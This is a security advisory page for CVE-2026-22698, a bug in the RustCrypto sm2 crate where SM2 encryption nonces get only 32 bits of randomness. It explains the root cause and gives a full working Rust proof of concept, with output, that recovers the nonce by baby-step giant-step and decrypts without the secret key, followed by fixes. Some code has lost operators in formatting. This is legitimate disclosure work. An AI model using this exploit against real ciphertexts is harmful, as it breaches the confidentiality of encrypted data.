CVE-2026-22698: RustCrypto SM2-PKE has 32-bit Biased Nonce Vulnerability

Published Jan 9, 2026
·
Updated

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0) - sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant NBYTES. rust const NBYTES: u32 = Sm2::ORDER.asref().bits().divceil(8); // Value is 32 (bytes) 2. However, this NBYTES value is then passed to the nextk helper function, which incorrectly interprets this value as a bit length. rust let k = Scalar::fromuint(&nextk(rng, NBYTES)?).unwrap(); 3. Inside nextk, the bitlength parameter (which holds the value 32) is passed directly to U256::tryrandombits, a function that generates a random number with the specified number of bits. rust fn nextk<R: TryCryptoRng + ?Sized>(rng: &mut R, bitlength: u32) -> Result<U256> { let k = U256::tryrandombits(rng, bitlength).maperr(|| Error)?; // ... } As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgsrecover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message. 2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G. 3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16). 4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgsrecover.rs

rust //! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS) //! //! This example intentionally demonstrates an attack on the vulnerable //! EncryptingKey::encrypt implementation which (in the current repository //! state) may generate k with only 32 bits of entropy. The example: //! - Generates a key pair and encrypts a short plaintext. //! - Extracts C1 from the ciphertext (ephemeral public key [k]G). //! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16). //!

use std::collections::HashMap; use std::error::Error;

use randcore::OsRng;

use sm2::{ pke::Mode, pke::EncryptingKey, PublicKey, SecretKey, AffinePoint, ProjectivePoint, Scalar, }; use ellipticcurve::bigint::U256; use ellipticcurve::{Group, Curve}; use ellipticcurve::sec1::{FromEncodedPoint, ToEncodedPoint}; use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space. fn bsgsrecoverk(c1: &AffinePoint) -> Option<U256> { // search parameters let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

// baby steps: jG -> j let mut baby: HashMap<Vec<u8>, u32> = HashMap::withcapacity(m as usize + 1); for j in 0..m { let ju256 = U256::fromu32(j); let s = Scalar::fromuint(&ju256).unwrap(); let p = ProjectivePoint::mulbygenerator(&s).toaffine(); let ep = p.toencodedpoint(false); baby.insert(ep.asbytes().tovec(), j); }

// giant steps for i in 0..=m { let im = (i as u64) (m as u64); let imu256 = U256::fromu64(im); let imscalar = Scalar::fromuint(&imu256).unwrap(); let impoint = ProjectivePoint::mulbygenerator(&imscalar).toaffine();

// candidate = C1 - impoint let c1proj = ProjectivePoint::from(c1); let improj = ProjectivePoint::from(&impoint); let candidateproj = c1proj + (-improj); let candidate = candidateproj.toaffine(); let candbytes = candidate.toencodedpoint(false).asbytes().tovec();

if let Some(&j) = baby.get(&candbytes) { let krecovered = im + (j as u64); return Some(U256::fromu64(krecovered)); } } None }

/// KDF using SM3 (re-implementation of crate internal kdf). fn kdfsm3(kpb: AffinePoint, c2: &mut [u8]) { let mut hasher = Sm3::new(); let klen = c2.len(); let mut ct: u32 = 0x00000001; let digestsize = 32usize; // SM3 output is 32 bytes let mut ha = vec![0u8; digestsize]; let encodepoint = kpb.toencodedpoint(false);

let mut offset = 0usize; while offset < klen { hasher.update(encodepoint.x().unwrap()); hasher.update(encodepoint.y().unwrap()); hasher.update(&ct.tobebytes()); let out = hasher.finalizereset(); ha.copyfromslice(out.asslice());

let xorlen = core::cmp::min(digestsize, klen - offset); for i in 0..xorlen { c2[offset + i] ^= ha[i]; } offset += xorlen; ct = ct.wrappingadd(1); } }

/// Decrypt ciphertext given recovered k and recipient public key (without secret key). fn decryptwithk(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // parse c1 let nbytes = sm2::Sm2::ORDER.asref().bits().divceil(8) as usize; // 32 let c1len = nbytes 2 + 1; if ciphertext.len() < c1len { return Err("ciphertext too short".into()); } let (c1bytes, rest) = ciphertext.splitat(c1len);

// derive shared point hpb = [hk]PB; for SM2 cofactor h == 1 so this is [k]PB let pbaffine = pubkey.asaffine(); let kscalar = Scalar::fromuint(&k).unwrap(); let s = pbaffine; // cofactor h == 1 let hpb = (s kscalar).toaffine();

// split rest into c2 and c3 depending on mode let digestsize = 32usize; // SM3 output size let (c2slice, c3slice) = match mode { Mode::C1C2C3 => { let c2len = rest.len() - digestsize; rest.splitat(c2len) } Mode::C1C3C2 => { let (c3, c2) = rest.splitat(digestsize); (c2, c3) } };

let mut c2 = c2slice.toowned(); // KDF to recover plaintext kdfsm3(hpb, &mut c2);

// verify c3 let mut check = Sm3::new(); let enc = hpb.toencodedpoint(false); check.update(enc.x().unwrap()); check.update(&c2); check.update(enc.y().unwrap()); let out = check.finalizereset(); if out.asslice() != c3slice { return Err("c3 verification failed".into()); }

Ok(c2) }

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt. fn recoveranddecrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> { // extract C1 let nbytes = sm2::Sm2::ORDER.asref().bits().divceil(8) as usize; // 32 let c1len = nbytes 2 + 1; let (c1bytes, rest) = ciphertext.splitat(c1len); let encoded = sm2::EncodedPoint::frombytes(c1bytes)?; let c1affine = AffinePoint::fromencodedpoint(&encoded).unwrap();

if let Some(k) = bsgsrecoverk(&c1affine) { println!("recovered k = 0x{:x}", k); let plain = decryptwithk(pubkey, k, ciphertext, mode)?; return Ok(plain); } Err("failed to recover k".into()) }

fn main() -> Result<(), Box<dyn Error>> { // demo: generate keypair, encrypt, then recover and decrypt without secret key let mut rng = OsRng; let sk = SecretKey::tryfromrng(&mut rng)?; let pk = sk.publickey(); let ek = EncryptingKey::newwithmode(pk, Mode::C1C2C3); let msg = b"attack-demo-sm2-bsgs-recover-example"; let ct = ek.encrypt(&mut rng, msg)?; print!("Trying to recover k and decrypt...\n"); let recovered = recoveranddecrypt(&pk, &ct, Mode::C1C2C3)?; println!("recovered plaintext: {}", std::str::fromutf8(&recovered)?); Ok(()) }

To run the PoC (tested on Apple M3):

bash $ time cargo run --example bsgsrecover Trying to recover k and decrypt... recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79 recovered plaintext: attack-demo-sm2-bsgs-recover-example cargo run --example bsgsrecover 14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

- Fix 1: Modify the input parameter to the correct 256 bits

rust let kuint = nextk(rng, NBYTES 8)?;

- Fix 2: We believe that the nextk function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

rust fn nextk<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> { loop { let k = U256::tryrandombits(rng, 256).maperr(|| Error)?; if !bool::from(k.iszero()) && k < Sm2::ORDER { return Ok(k); } } }

Credit

This vulnerability was discovered by:

- XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Other sources

RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext. This issue has been patched via commit e4f7778.

MITRE

Affected Software

3 affected components
rust/sm2>=0.14.0-pre.0<=0.14.0-rc.4
RustCrypto Sm2 Elliptic Curve Rust=0.14.0-pre0
RustCrypto Sm2 Elliptic Curve Rust=0.14.0-rc0

Event History

Jan 9, 2026
Advisory Published
via GitHub·10:27 PM
Data Sourced
via GitHub·10:27 PM
DescriptionWeaknessAffected Software
Jan 10, 2026
CVE Published
via MITRE·05:17 AM
Data Sourced
via MITRE·05:17 AM
DescriptionWeakness
Data Sourced
via NVD·06:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 AM
RemedyAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-22698?

CVE-2026-22698 is classified as a critical vulnerability due to its impact on the security of the SM2 Public Key Encryption implementation.

2

How do I fix CVE-2026-22698?

To mitigate CVE-2026-22698, update the SM2 package in your Rust project to a version higher than 0.14.0-rc.4.

3

What systems are affected by CVE-2026-22698?

CVE-2026-22698 affects the SM2 Public Key Encryption implementation in the Rust package 'sm2' within the specified version range.

4

What is the root cause of CVE-2026-22698?

The root cause of CVE-2026-22698 is a unit mismatch error that leads to the generation of the ephemeral nonce 'k' with insufficient randomness.

5

What are the potential consequences of exploiting CVE-2026-22698?

Exploiting CVE-2026-22698 can compromise the security of cryptographic operations, potentially allowing unauthorized access to sensitive information.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203